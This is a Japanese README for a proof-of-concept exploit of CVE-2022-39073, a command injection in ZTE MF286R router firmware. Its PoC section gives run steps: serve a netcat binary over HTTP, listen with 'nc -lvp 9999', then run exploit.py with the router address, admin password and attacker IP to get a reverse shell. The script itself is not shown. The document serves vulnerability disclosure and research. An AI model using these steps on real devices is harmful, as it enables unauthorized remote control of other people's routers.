CVE-2022-39073

ファームウェア情報:

wa_inner_version: BD_POSTEMF286RMODULEV1.0.0B12
cr_version: CR_ITPOSTEMF286RV1.0.0B10

前提条件

• requests (pip install requests)

コマンドインジェクション

この脆弱性は、zte_net_link_detect バイナリと、Webサーバー goahead バイナリ内の WATCH_DOG_SWITCH ハンドラとの間で共有されるコマンドインジェクションです。

この脆弱性は、ルーターがWANに接続されているか、SIMカードを介してインターネットに接続されている場合にのみ悪用可能であることに注意してください。(ppp_status キーの値は ppp_connected、ipv4_ipv6_connected、ipv6_connected のいずれかである必要があります)。

リスク

• リモートコード実行 (RCE)
• 任意のコマンド実行

概念実証

このエクスプロイトのアイデアは、HTTPサーバーから netcat の静的バイナリをダウンロードし、それを使ってリバースシェルを開くことです。 補足: このフォルダに含まれる netcat はビッグエンディアンです。

• このディレクトリでHTTPサーバーを起動します python3 -m http.server 8080
• ポート 9999 でリスニングソケットを開きます nc -lvp 9999
• このフォルダのスクリプトを実行します python3 exploit.py http://<router> <admin_password> <attacker_ip, es: 192.168.1.101>

参考情報

この脆弱性は、Andrea Maugeri 氏によって2022年9月に報告されました。 https://support.zte.com.cn/support/news/NewsDetail.aspx?newsId=1028664